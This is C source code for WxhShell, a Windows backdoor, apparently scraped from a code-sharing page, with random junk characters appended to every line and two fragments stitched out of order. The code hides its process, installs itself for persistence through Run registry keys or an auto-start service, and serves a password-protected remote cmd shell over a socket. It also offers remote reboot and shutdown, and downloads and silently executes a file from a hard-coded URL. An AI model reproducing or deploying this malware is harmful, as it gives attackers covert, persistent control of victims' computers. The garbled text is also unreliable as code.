    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KhNE_. Z  
    else { =nUzBL%~  
    closesocket(wsh); ;+~Phdy  
    ExitThread(0); 5Noy~;  
    } 'DB'lP  
    break; ~#:R1~rh\e  
    } jGn2Q L  
  // 关机 )Q~K\bJf  
  case 'd': { E#yG}UWe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !h+VbZ  
    if(Boot(SHUTDOWN)) AgJPtzs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DLEHsbP{$  
    else { 5"7lWX  
    closesocket(wsh); i)M JP*  
    ExitThread(0); `_.(qg   
    } ej]>*n  
    break; 'Fa~l'G7X  
    } cx+%lco!  
  // 获取shell TxmKmZ u  
  case 's': { RxGZ#!j/  
    CmdShell(wsh); s,8g^aF4  
    closesocket(wsh); {xQ(xy  
    ExitThread(0); *qw//W   
    break; #D Oui]  
  } M~djX} #\  
  // 退出 jGKI|v4U(  
  case 'x': { ;<s0~B#9}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g$9s} \6B  
    CloseIt(wsh); KiMEd373-  
    break; Y'x+! &H  
    } ft Rza  
  // 离开 9:CM#N~?o  
  case 'q': { q=/ck  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O.'\GM  
    closesocket(wsh); b[my5O l  
    WSACleanup(); ka| 8 _C^z  
    exit(1); FrQRHbp3  
    break; hR~~k~84  
        } -Z&9pI(3R~  
  } ^r^)  &]  
  } O`'r:&#W  
1y6{3AZm<  
  // 提示信息 5H/D~hr&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3/RNStd<L!  
} <):= mr7  
  } ; Ne|H$N  
Y2P%0  
  return; l#!6 tw+e?  
} +Am\jsq  
KOVR=``"/  
// shell模块句柄 R}0!F 2  
int CmdShell(SOCKET sock) mI3 \n  
{ f VpE&F  
STARTUPINFO si; {h}e 9  
ZeroMemory(&si,sizeof(si)); Q1u/QA:z7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >WYradLUi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4 JDk ()  
PROCESS_INFORMATION ProcessInfo; =LojRY  
char cmdline[]="cmd"; ]"-c?%L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MI|anM  
  return 0; 94 GF8P  
} Y #6G&)M  
M%1wT9  
// 自身启动模式 (b;*8  
int StartFromService(void) 'mE!,KeS;  
{ t(5PKD#~Dc  
typedef struct .a]9rQQ&_  
{ L [=JHW  
  DWORD ExitStatus; I@o42%w2  
  DWORD PebBaseAddress; Eh|v>Yew  
  DWORD AffinityMask; #@K %Mx  
  DWORD BasePriority; 9 az{j 1  
  ULONG UniqueProcessId; rCgoU xW`  
  ULONG InheritedFromUniqueProcessId; \[W)[mH_  
}   PROCESS_BASIC_INFORMATION; M%qHf{ B  
<~-cp61z;  
PROCNTQSIP NtQueryInformationProcess; =.8fES  
v0'`K 5M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b=Oec%Adx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }ujl2uhM  
/}#@uC  
  HANDLE             hProcess; ;TTH  
  PROCESS_BASIC_INFORMATION pbi; #^eXnhj9  
2H2Yxe7?-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PNhxF C.  
  if(NULL == hInst ) return 0; [vyi_0[  
_/@u[dWeL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }\/ 3B_X6N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KVZ-T1K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?Y\hC0a60  
-5sKJt]+i  
  if (!NtQueryInformationProcess) return 0; .%T.sQ  
p1B~F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2s<uT  
  if(!hProcess) return 0; Zsx\GeE%:  
])H[>.?K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XPsRa[08WK  
.|z8WF*  
  CloseHandle(hProcess); j55;E E!  
qC ku q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); acdF5ch@  
if(hProcess==NULL) return 0; ="__*J#nze  
6z ,nt  
HMODULE hMod; >Eqr/~Q  
char procName[255]; H&E3RU> `  
unsigned long cbNeeded; ^%jk.*  
F%^)oQT+c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s8iB>-dk  
fH*1.0f]6  
  CloseHandle(hProcess); ]@9ZUtU,;N  
]c~W$h+F  
if(strstr(procName,"services")) return 1; // 以服务启动 b_rHt s  
v2;' F  
  return 0; // 注册表启动 }?^5L7n  
} +X|^ ~)tMJ  
 "DsL$D2e  
// 主模块 8q_"aa,`  
int StartWxhshell(LPSTR lpCmdLine) (~OP)F).  
{ n>\2_$uDI  
  SOCKET wsl; t?;\'  
BOOL val=TRUE; 9HBRWh6  
  int port=0; o* C_9M  
  struct sockaddr_in door; >dYN@cB$}  
o GN*p_g  
  if(wscfg.ws_autoins) Install(); #d;/Me  
4"~l^yK  
port=atoi(lpCmdLine); Z|6,*XEc   
=Cg1I\  
if(port<=0) port=wscfg.ws_port; L wP  
['jr+gIfQ  
  WSADATA data; -0f ,qNF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }(/\vTn*1  
-cP7`.a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   crl"Ec  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J`xCd/G  
  door.sin_family = AF_INET; ;<N%D=;}@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $~r_&1  
  door.sin_port = htons(port); <tT.m[qg  
Z+g9!@'a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q]hl+C$d"/  
closesocket(wsl); g`r4f%O  
return 1; w:c9Z=KX  
} Z,1b$:+  
20?@t.aMp  
  if(listen(wsl,2) == INVALID_SOCKET) { pi;'!d[l%  
closesocket(wsl); =:;K nS  
return 1; 0I['UL^!F  
} X<mlaXwrA  
  Wxhshell(wsl); k<}3_   
  WSACleanup(); r<c&;*  
 KGJ *h  
return 0; _:7:ixN[Ie  
fprP$MbI  
} ae0t *;~  
(d>}Fp  
// 以NT服务方式启动 DVz_;m6)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p-XO4Pc 6  
{ L25%KGg' o  
DWORD   status = 0; )18C(V-x  
  DWORD   specificError = 0xfffffff; ToX--w4  
Jp"yb`w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o1Nfn'!3/>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LDh,!5G-M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }*?,&9/_)  
  serviceStatus.dwWin32ExitCode     = 0; Fxv5kho  
  serviceStatus.dwServiceSpecificExitCode = 0; W[<ZI>mf  
  serviceStatus.dwCheckPoint       = 0; 3 nnoXc'  
  serviceStatus.dwWaitHint       = 0; s`gfz}/  
<rxtdI"3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2;ju/9 x  
  if (hServiceStatusHandle==0) return; "/nbcQ*s*E  
%&j \:X~A  
status = GetLastError(); sf"vii,1A  
  if (status!=NO_ERROR) t-Uo  
{ #\Zr$?t|V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eI,H  
    serviceStatus.dwCheckPoint       = 0; 2{<o1x,Ym  
    serviceStatus.dwWaitHint       = 0; \![ p-mW{  
    serviceStatus.dwWin32ExitCode     = status; Q?>DbT6  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7#(0GZN9h%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); se=;vp]3a  
    return; Xm3r)Bm'3  
  } (7Ln~J*  
qL4s@<|~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z rv:uEl  
  serviceStatus.dwCheckPoint       = 0; o3JSh=  
  serviceStatus.dwWaitHint       = 0; "h-ZwL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _p^$.\k"  
} Jq?Fi'2F%  
L%jIU<?Z7  
// 处理NT服务事件,比如:启动、停止 hBi/lHu'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Mj`g84  
{ |]5`T9K@b#  
switch(fdwControl) "x3x$JQZy  
{ D)tL}X$  
case SERVICE_CONTROL_STOP: +U)4V}S)  
  serviceStatus.dwWin32ExitCode = 0; XAZPbvG|$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /j-c29nz  
  serviceStatus.dwCheckPoint   = 0; HD'adj_,  
  serviceStatus.dwWaitHint     = 0; cx]H8]ch7  
  { +kN,OK~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Cd{bj.8  
  } _L+j6N.h1  
  return; (hEg&@  
case SERVICE_CONTROL_PAUSE: U"=Lzo.0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?dPr HSy  
  break; l <p(zLR  
case SERVICE_CONTROL_CONTINUE: C1>zwU_zo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 05:?5M4};  
  break; _F8THYg (  
case SERVICE_CONTROL_INTERROGATE: jZD)c_'U  
  break; /DjsnU~3  
};  aWPf3Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b gxk:$E  
} `<{LW>Lb  
"  sC]z}  
// 标准应用程序主函数 />N#PF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vVP.9(  
{ yi:}UlO  
l(W?]{C[%  
// 获取操作系统版本 >qs/o$+t}  
OsIsNt=GetOsVer(); 1R;@v3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O>'tag  
(%OZ `?`  
  // 从命令行安装 "j&'R#$&d  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zrp-Hv27,,  
wJD'q\n  
  // 下载执行文件 N<ux4tz  
if(wscfg.ws_downexe) { ,}O33BwJp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C`R<55x6  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1[J|AkN  
} qV;I<AM  
9J?lNq  
if(!OsIsNt) { /EG'I{oC  
// 如果时win9x,隐藏进程并且设置为注册表启动 o".,JnbX l  
HideProc(); '4_c;](W  
StartWxhshell(lpCmdLine); >bd@2au9!  
} ~sZ$`t  
else U>OAtiq JX  
  if(StartFromService()) cK >^8T^  
  // 以服务方式启动 684|Uuf7  
  StartServiceCtrlDispatcher(DispatchTable); R$+p4@?S  
else }LeS3\+UHl  
  // 普通方式启动 :t<S  
  StartWxhshell(lpCmdLine); Bgn%d4W;G  
vw4b@v-XQ3  
return 0; _-3n'i8  
} 0n'v F&E8  
}%z%}V@(&  
T:@7EL  
@%G?Nht]o  
=========================================== w $Fg 0JS  
X&kp1Ih<^  
K7([Gc9  
DVVyWn[  
;b:'i& r  
5\= y9Z- x  
" $8xb|S[  
p_(En4QSH  
#include <stdio.h> rlGv6)vb  
#include <string.h> -7]j[{?w  
#include <windows.h> Y SB=n d_  
#include <winsock2.h> d^J)Mhju  
#include <winsvc.h> PZ`11#bbm  
#include <urlmon.h> 22=sh;y+2  
s2<[@@@q  
#pragma comment (lib, "Ws2_32.lib") hlDB'8  
#pragma comment (lib, "urlmon.lib") ma+AFCi  
~\AF\n%  
#define MAX_USER   100 // 最大客户端连接数 kiyc^s  
#define BUF_SOCK   200 // sock buffer Ix}6%2\  
#define KEY_BUFF   255 // 输入 buffer /Q3\6DCl  
0Sz[u\w  
#define REBOOT     0   // 重启 s5rD+g]E`  
#define SHUTDOWN   1   // 关机 @"MQ6u G>  
[8^q3o7n  
#define DEF_PORT   5000 // 监听端口 hl7 z1h  
M2N8?Ycv3  
#define REG_LEN     16   // 注册表键长度 HFI0\*xn(  
#define SVC_LEN     80   // NT服务名长度 \xbUr`WBY  
oda,  
// 从dll定义API aZCq{7Xs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W7 dSx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k}Q<#   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PCHspe9!y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -F[@)$L  
QF\nf_X  
// wxhshell配置信息 Ei):\,Nv  
struct WSCFG { FOk;=+  
  int ws_port;         // 监听端口 @aZTx/  
  char ws_passstr[REG_LEN]; // 口令 P!E2.K,  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5K2K'ZkI  
  char ws_regname[REG_LEN]; // 注册表键名 Z#L4n#TT  
  char ws_svcname[REG_LEN]; // 服务名 V^&*y+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5.oIyC^Ik  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1kKfFpN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g+4y^x(X@1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P3: t 4^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hj|&P/jY]*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4&;iORw&E4  
BhzDV  
}; l"%80"zO  
iGu%_-S  
// default Wxhshell configuration Wz s=BNm9  
struct WSCFG wscfg={DEF_PORT, flo$[]`.7  
    "xuhuanlingzhe", d_M+W@{  
    1, w\YS5!P,V  
    "Wxhshell", ,d,2Q  
    "Wxhshell", Xs2 jR14`  
            "WxhShell Service", w|-3X  
    "Wrsky Windows CmdShell Service", ]5c(:T F  
    "Please Input Your Password: ", "mf$E|  
  1, jt on\9  
  "http://www.wrsky.com/wxhshell.exe", ESIP+  
  "Wxhshell.exe" U`i5B;k}-  
    }; +q '1P}e  
26rg-?;V^  
// 消息定义模块 kuy?n-1g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xF8n=Lc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cQyN@W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z'_Fg0kR{  
char *msg_ws_ext="\n\rExit."; qrYbc~jI7  
char *msg_ws_end="\n\rQuit."; uW(-?  
char *msg_ws_boot="\n\rReboot..."; ^ls@Gr7`P  
char *msg_ws_poff="\n\rShutdown..."; v62_VT2v  
char *msg_ws_down="\n\rSave to "; Ze eV-  
0H}tb}4  
char *msg_ws_err="\n\rErr!"; JiaR*3#  
char *msg_ws_ok="\n\rOK!"; #~|k EGt  
P,{Q k~iu  
char ExeFile[MAX_PATH]; PY.K_(D  
int nUser = 0; hOU H1m.  
HANDLE handles[MAX_USER]; KU/r"lMNlU  
int OsIsNt; o5tCbsHj-  
MhD'  
SERVICE_STATUS       serviceStatus; fw jo?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,UMr_ e{|  
I[Lg0H8  
// 函数声明 /;#kV]nF  
int Install(void); &,k!,<IF  
int Uninstall(void); M`H#Qo5/  
int DownloadFile(char *sURL, SOCKET wsh); 78uImC*o  
int Boot(int flag); q2vD)r  
void HideProc(void); j#n ]q{s4  
int GetOsVer(void); {,Q )D$i  
int Wxhshell(SOCKET wsl); phuiLW{&  
void TalkWithClient(void *cs); *9EwZwE_K  
int CmdShell(SOCKET sock); Yt]`>C[|D  
int StartFromService(void); 2!J#XzR0W  
int StartWxhshell(LPSTR lpCmdLine); II=`=H{  
 7H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y9 {7+]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %Hbq3U30  
112 WryS  
// 数据结构和表定义 qjP~F  
SERVICE_TABLE_ENTRY DispatchTable[] = W^tD6H;  
{ '" "v7  
{wscfg.ws_svcname, NTServiceMain}, A-CU%G9  
{NULL, NULL} S} m=|3%y  
}; $72eHdy/yl  
vPNbV  
// 自我安装 My8d%GfM  
int Install(void) #:gd9os :  
{ )=[\YfK  
  char svExeFile[MAX_PATH]; T(D6'm:X  
  HKEY key; @(sz"  
  strcpy(svExeFile,ExeFile); <eG|`  
1_] X  
// 如果是win9x系统,修改注册表设为自启动 73cb1 kfPd  
if(!OsIsNt) { @*YF!LdU{M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  !Ld5Y$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dt: Q$  
  RegCloseKey(key); c| ^I}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x.+T65X~4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'v6@5t19j  
  RegCloseKey(key); ?.46X^  
  return 0; oRWje#4O  
    } jq,M1  
  } _ nMd  
} hJEd7{n  
else { D;pI!S<#  
vhfjZ  
// 如果是NT以上系统,安装为系统服务 = j1Jl^[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H0afu)$,  
if (schSCManager!=0) P8z%*/ 3NF  
{ |U|>YA1[b  
  SC_HANDLE schService = CreateService 8Sr'  
  ( q5(t2nNb  
  schSCManager, kW/G=_6  
  wscfg.ws_svcname, y8k8Hd1<f  
  wscfg.ws_svcdisp, G"<#tif9K  
  SERVICE_ALL_ACCESS, !?P8[K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z\]Z/Bz:6  
  SERVICE_AUTO_START, _i05' _  
  SERVICE_ERROR_NORMAL, FCE y1^u  
  svExeFile, "2cOSPpQL  
  NULL, 0caZ_-zU  
  NULL, Ln h =y2  
  NULL, yvYMk(LSF  
  NULL, Z2g'&,uc#  
  NULL U,=f};  
  ); Ehx9-*]  
  if (schService!=0) s;VW %e  
  { 8o~ NJ 6  
  CloseServiceHandle(schService); TR DQ+Z  
  CloseServiceHandle(schSCManager); EF`}*7)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6'#5Dqw"r  
  strcat(svExeFile,wscfg.ws_svcname); bk0>f   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?M4o>T%p"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {kpF etXt?  
  RegCloseKey(key); z?o8h N\  
  return 0; X8)k'h  
    } 4IeCb?  
  } l f>/  
  CloseServiceHandle(schSCManager); k =! Q  
} {MgRi 7  
} b84l`J  
yvd)pH<a2  
return 1; 5BVvT `<  
} [^qT?se{  
sINQ?4_8T  
// 自我卸载 j"qND=15  
int Uninstall(void) Nfa&r  
{ 5XKTb  
  HKEY key; \,#$,dUXD  
l\UjvG  
if(!OsIsNt) { mwAN9<o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }S> 4.8  
  RegDeleteValue(key,wscfg.ws_regname); [Hh-F#|R  
  RegCloseKey(key); b>-DX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J,Sa7jv[  
  RegDeleteValue(key,wscfg.ws_regname); QG5WsuT  
  RegCloseKey(key); Q-<]'E#\(  
  return 0; 6 5g ovor  
  } %f]#P8V P  
} y[_k/.1  
} (]]hSkE  
else { !xsfhLZK  
*vb"mB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vIV|y>;g  
if (schSCManager!=0) ,Z{\YAh1  
{ 8b/$Qp4d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YG\#N+D  
  if (schService!=0) QEyL/#Q  
  { c1f"z1Z  
  if(DeleteService(schService)!=0) { <],{at` v  
  CloseServiceHandle(schService); H>TO8;5(  
  CloseServiceHandle(schSCManager); @](vFb  
  return 0; !T0I; j&  
  } 6K.2VY#  
  CloseServiceHandle(schService); As,`($=  
  } 6v)TCj/  
  CloseServiceHandle(schSCManager); SQN?[v  
} rpow@@ad<  
} xw#CwMbbi  
1:-'euA"  
return 1; yv,FzF}7  
} \=%lH= yS  
z!}E2j_9P  
// 从指定url下载文件 6 U.Jaai:  
int DownloadFile(char *sURL, SOCKET wsh) a4*v'Xc5  
{ Q"&Mr+  
  HRESULT hr; V*?cMJ_G  
char seps[]= "/"; F^%w%E\  
char *token; _b&|0j:Ud  
char *file; ~,)jZ-fw  
char myURL[MAX_PATH]; 6W i n!4  
char myFILE[MAX_PATH]; d/d)MoaJ*t  
CS[]T9|_  
strcpy(myURL,sURL); ]1 f^ SxSI  
  token=strtok(myURL,seps); f+Y4~k  
  while(token!=NULL) 8C3k: D[  
  { tMl y*E  
    file=token; rq%]CsRY5  
  token=strtok(NULL,seps); zhn ?;Fi  
  } /oPW0of  
w#.3na  
GetCurrentDirectory(MAX_PATH,myFILE); "Z@P&jl  
strcat(myFILE, "\\"); #T7v]@K67  
strcat(myFILE, file); 3ahriZe  
  send(wsh,myFILE,strlen(myFILE),0); R$&;  
send(wsh,"...",3,0); 5Kzt8Tv[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {Ze Y:\G~  
  if(hr==S_OK) Fd9[Pe@?`  
return 0; Ud/>oaW?s  
else m\>gOTpA4  
return 1; 07LyB\l~  
~5HkDtI)  
} -@N-i$!;J  
E+L7[  
// 系统电源模块 @\by`3*Q  
int Boot(int flag) xFu ,e  
{ 0z=KnQx"4  
  HANDLE hToken; tJ(xeb  
  TOKEN_PRIVILEGES tkp; owNwj  
k(ouE|B  
  if(OsIsNt) { @ m`C%7<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (5$Ge$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z ]A |"6<  
    tkp.PrivilegeCount = 1; XM]m%I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t&U9Z$LS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d.&_j`\F  
if(flag==REBOOT) { T<]{:\*n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lNe4e6  
  return 0; wv\X  
} E1QJ^]MG.  
else { LW1 4 'A}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !u7KgB<=/F  
  return 0; DGFSD Py[  
} FvsVfV U  
  } Ct=bZW"j/  
  else { VEWW[ T  
if(flag==REBOOT) { 4  %0s p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hW*o;o7u  
  return 0; <'\Nv._2a  
} u&~Xgq5[  
else { J^+w]2`S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F,_L}  
  return 0; f`qy~M&  
} -zK>{)Z=q  
} A'EI1_3{  
C%4ed#  
return 1; 8\{!*?9!  
}  ai 4k?  
eT%x(P  
// win9x进程隐藏模块 D,IT>^[^7  
void HideProc(void) HlE8AbEg  
{ J&6p/'UPZ  
p3P8@M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P& 1$SWNyW  
  if ( hKernel != NULL ) w:zo \  
  { <K)]kf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zjoo;(?D|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J6#h~fpv  
    FreeLibrary(hKernel); . X!!dx1<  
  } S_7]_GQ9  
75\ZD-{T:  
return; y [McdlH m  
} p[4 +`8  
2$JZ(qnN  
// 获取操作系统版本 19fa7E<  
int GetOsVer(void) EZ!! V~  
{ =1[_#Moc6  
  OSVERSIONINFO winfo; Zfs-M)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GgxPpS<ne  
  GetVersionEx(&winfo); Z=% j|xE_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~~yng-3)1  
  return 1; ~<k>07  
  else L@Rgiq|v-|  
  return 0; A f`Kg-c_(  
} }+j B5z'w  
RLf-Rdx/  
// 客户端句柄模块 nWK8.&{.  
int Wxhshell(SOCKET wsl) HxbzFu?h  
{  %lj5Olj  
  SOCKET wsh; s_ZPo6p  
  struct sockaddr_in client; ~ZafTCa;  
  DWORD myID; 2P:X_:`~[  
0YoKSo  
  while(nUser<MAX_USER) v7(7WfqP  
{ ;Tbo \Wp9  
  int nSize=sizeof(client);  ]]p\1G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *k(FbZ  
  if(wsh==INVALID_SOCKET) return 1; U)dcemQY  
Lv+{@)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +  }"+  
if(handles[nUser]==0) 2*snMA  
  closesocket(wsh); mc]+j,d  
else H:~bWd'iz  
  nUser++; +c8`N'~  
  } |k~AGc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [>NMuwtG  
%Za}q]?  
  return 0; IYn`&jS{  
} )B]"""J  
wXQu%F3  
// 关闭 socket ~2* LWH*@  
void CloseIt(SOCKET wsh) r (m3"Xu6O  
{ 3?E7\\/R  
closesocket(wsh); B2r[oT R  
nUser--; +kWWx#L#  
ExitThread(0); EUSM4djL  
} "nr?WcA  
`:'ciY|%b  
// 客户端请求句柄 }wo:1v8J  
void TalkWithClient(void *cs) ,?LE5]  
{ +~=a$xA[C  
jA "}\^%3  
  SOCKET wsh=(SOCKET)cs; qz- tXc ,  
  char pwd[SVC_LEN]; M XW1 :  
  char cmd[KEY_BUFF]; j~_iv~[  
char chr[1]; +aOevkY]  
int i,j; 9o,Eq x4J  
R.i ]6H!  
  while (nUser < MAX_USER) { w*{{bISw|  
W$]qo|2P  
if(wscfg.ws_passstr) { 8K2@[TE=5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M? 8sy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3^KR{N p  
  //ZeroMemory(pwd,KEY_BUFF); 7mS Nz.  
      i=0; 5_y w  
  while(i<SVC_LEN) { 'A{zH{  
p+b/k2 Q  
  // 设置超时 TQb/lY9*  
  fd_set FdRead; <5L99<E  
  struct timeval TimeOut; 'LoWp} f9  
  FD_ZERO(&FdRead); dQ;8,JzIw&  
  FD_SET(wsh,&FdRead); Dt!KgI3  
  TimeOut.tv_sec=8; $mK;{9Z  
  TimeOut.tv_usec=0; z1b@JCWE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); << =cZ.HP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n U=  
Lvt3S .l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nHF66,7t  
  pwd=chr[0]; ,|O6<u9  
  if(chr[0]==0xd || chr[0]==0xa) { T}J)n5U}\  
  pwd=0; BoT#b^l  
  break; ~_i=hx  
  } ms3"  
  i++; U _pPI$ =  
    } OfrzmL<K  
v,opyTwG|  
  // 如果是非法用户,关闭 socket $<nD-4p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O!>#q4&]  
} ku/vV+&O  
mm_)=Ipj>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0vEQgx>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qbQdx Kk  
.0,G4k/yv  
while(1) { a{ke%W$*P  
&W3srJo  
  ZeroMemory(cmd,KEY_BUFF); t[;-gi,,  
5OPvy,e6  
      // 自动支持客户端 telnet标准   5222"yn"c  
  j=0; 7 2i&-`&4  
  while(j<KEY_BUFF) { 1 jLQij  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L_ T+KaQCH  
  cmd[j]=chr[0]; |;:Kn*0/]  
  if(chr[0]==0xa || chr[0]==0xd) { s5v}S'uO{  
  cmd[j]=0; "%Ief4  
  break; w15a~\Qu  
  } #"oLz"{  
  j++; i<$?rB!i<1  
    } 3w>1R>7  
t"9r`0>  
  // 下载文件 +9]t]Vrw  
  if(strstr(cmd,"http://")) { s/t,6-~EH  
